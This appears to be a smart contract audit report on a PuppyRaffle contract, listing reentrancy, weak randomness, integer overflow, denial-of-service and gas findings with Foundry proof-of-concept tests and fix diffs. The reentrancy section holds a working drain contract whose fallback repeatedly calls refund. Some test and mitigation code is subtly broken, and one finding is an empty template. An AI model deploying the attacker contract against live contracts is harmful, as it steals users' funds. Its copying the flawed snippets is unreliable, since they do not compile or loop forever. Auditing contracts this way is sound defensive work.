[H-1] Reentrancy attack in `PuppyRaffle.sol::refund` function allows entrant to drain raffle balance.

Description: `PuppyRaffle.sol::refund` function does not follow CEI(checks, Effects and Interactions) and as a result, enables participants to drain contract balance through Reentrancy

In the `PuppyRaffle.sol::refund` function, we first make an external call to `msg.sender` address and only after that did we update the `PuppyRaffle.sol::players` array.

```
     function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/recieve` function that calls the `PuppyRaffle::refund` again and again till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen y the malicious participants.

Proof Of Concept:

1. User enters the raffle.
2. Attacker sets up a contract with a `fallback` functions that calls `PuppyRaffle::refund`
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle::refund` from their attacker contract, drainimg the contract balance

▶ POC

```
    function testReentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new
ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);
```

```
        uint256 startingAttackContractBalance =
address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;


        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("starting attacker contract balance:",
startingAttackContractBalance);
        console.log("starting contract balance:", startingContractBalance);

        console.log("ending attacker contract balance:",
address(attackerContract).balance);
        console.log("ending contract balance:",
address(puppyRaffle).balance);
    }
}

contract ReentrancyAttacker{
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle){
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable{
        address[] memory players  = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function stealMoney() internal{
        if (address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable{
        stealMoney();
    }

    receive() external payable{
        stealMoney();
    }
```

```
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making an external call. Additionally, we should move the event emission up as well.

```
     function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+        players[playerIndex] = address(0);
+        emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness is `PuppyRaffle::selectWinner` allows users to influence or predict the winner

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good randome number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the rarest puppy, making the entire raffle worthless if it becomes a gas war as to who wins the raffle

Proof Of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to particpate
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert the `selectWinner` transaction if they dont like the winner or resulting puppy.

Recommended Mitigation: Consider using a cryptoghapically provable random number generator such as chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity, versions prior to `0.8.0` integers were subject to integer overflow

```

```

```
    uint64 myVar = type(uint64).max;
    myVar = myVar + 1;
    // output will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in the `PuppyRaffle::withdrawFees`. However if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof Of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. totalFees will be:

```
    totalFees = totalFees + uint64(fee);
    // substituted
    totalFees = 800000000000000000 + 17800000000000000000;
    // due to overflow, the following is now the case
    totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in PuppyRaffle::withdrawFees:

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

▶ POC

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
```

```
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require
check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's SafeMath to prevent integer overflows.

2. Use a uint256 instead of a uint64 for totalFees.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in PuppyRaffle::withdrawFees

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[M-1] Looping through the players array in the `PuppyRaffle.sol::enterRaffle` is a potential denial of service attack(Dos), incrementing gas costs for future entrants

Description: The `PuppyRaffle.sol::enterRaffle` function loops through the `players` array to check for any duplicates. However, the longer the `player` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be considerably than those who enter later. Every additional player in the `players` array is an additional check the loop will have to make.

Impact: The gas costs for raffle entrants will greatly increase as more players enter raffle. Discouraging later users from entering and causing a rush at the start of the raffle to be one of the first entrants.

An attacker might make `players` array so big that'll make it really expensive for other players to enter, thereby guaranteeing himself the win

Proof Of Concept: put the following code in `PuppyRaffle.t.sol` and run

▶ Proof Of Concept</>

```
    function testDenialOfService() public {
        //for the first 100 players
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        // players[0]= playerOne;
        for(uint256 i = 0; 1<playersNum; i++){
            players[i] = address(i);
        }

        //See how much gas is used for the first 100 players
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        uint256 gasEnd = gasleft();
        uint gasUsed = gasStart - gasEnd ;
        console.log("Gas cost of the first 100 players:", gasUsed);


        //for the second 100 players
        address[] memory playersTwo = new address[](playersNum);
        // players[0]= playerOne;
        for(uint256 i = 0; 1<playersNum; i++){
            playersTwo[i] = address(i+playersNum);
        }

        //see how much gas it cost
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(playersTwo);
        uint256 gasEndTwo = gasleft();
        uint gasUsedTwo = gasStartTwo - gasEndTwo ;
        console.log("Gas cost of the first 100 players:", gasUsed);


        assert(gasUsed < gasUsedTwo);
```

```
    }
```

Recommended Mitigation: There are a few recommendations:

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only that same wallet address.
2. consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

▶ Details

```
+   mapping(address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;
.
.
.
    function enterRaffle(address[] memory newPlayers) public payable{
        require(msg.sender == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
        for(uint256 i = 0; i< newPlayers.length; i++){
            players.push(newplayer[i])
+           addressToRaffleId(newPlayers[i]) = raffleId;
        }

-       //check for duplicates
+       //check for duplicates only for the new players;
+       for(uint256 i = 0; i < newPlayers.length; i++){
+       require(addressToRaffleId(newPlayers[i]) != raffleId, "PuppyRaffle:
Duplicat player");
+}

-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-        }

        emit RaffleEnter(newPlayer);
    }
```

[M-2] Smart contracts wallets raffle winners without a `receive/fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `PuppyRaffle::selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging

Impact: `PuppyRaffle::selectWinner` function could revert many times, making the reset very challenging

Also true winners would not get paid and someone else would take their money.

Proof Of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The selectWinner function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

[M-4]

Description:

Impact:

Proof Of Concept:

Recommended Mitigation:

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for nonexistent players and players at index 0, causing a palyer at index 0 to think they've not entered the raffle

Description: if a player is in the `PuppyRaffle::players` array at index 0, this will return 0 but according to the natsoec, it will also return 0 if the player is not in the array

```
 function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact:A player at index 0 might think they've not actually entered the raffle and would attempt entering again which would waste gas.

Proof Of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function

```
    function testPlayerAtIndexZeroReturnsZero() public {

        address[] memory players = new address[](1);
        players[0] = playerOne;
        puppyRaffle.enterRaffle{value: entranceFee }(players);
        assertEq(puppyRaffle.getActivePlayerIndex(playerOne), 0);
    }
```

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array, instead of returning zero

You could reserve the 0th position for any competition, but a better solution might be to return an `uint256` where the function is -1 if the player there id not active

[G-1] Unchanged state variables should be declared as constant or immutable.

Reading from a storage variable is more expensive than reading from a constant or immutable variable

instances: -`PuppyRaffle.sol::raffleDuration` should be immutable - `PuppyRaffle.sol::rareImageUri` should be constant -`PuppyRaffle.sol::commonImageUri` should be constant -`PuppyRaffle.sol::legendaryImageUri` should be constant

[G-1] Storage variables should be cached.

Everytime you call `players.length` you read from storage as opposed to memory which is more gas efficient.

```
+       uint256 playersLength = players.length;
-         for (uint256 i = 0; i < players.length - 1; i++) {
+         for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

[I-1] Solidity pragma should be specific, not wide

Considerusing a specific version of solidity in your contracts instead of a wide version for example, instead of `pragma solidity ^0.7.6`, use `pragma solidity 0.7.6`.

[I-2] Using an outdated version of solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new solidity security checks. We also recommend avoiding complex pragma statement

Recommendations: Deploy with this solidity version `0.8.18` or something later

[I-3] Missing checks for `address(0)` when assigning values to address state variables.

Assigning values to address state variables without checking for `address(0)`.

[I-4] `puppyRaffle::selectWinner` does not follow CEI, whixh is not best practice

It's best to keep code clean and follow CEI(Checks, Execution and Interaction)

```
-     (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
        _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");
+        require(success, "PuppyRaffle: Failed to send prize pool to
winner");
```

[I-5] Use of `magic` numbers is discouraged.

It can be confusing to see number literals in a codebase and its much more readable if the numbers are given a name

example:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Use this instead:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100;

    uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) /
POOL_PRECISION;
    uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-6] State changes are missing events.

[I-7] `isActivePlayer` function is not being used and should be removed to save gas.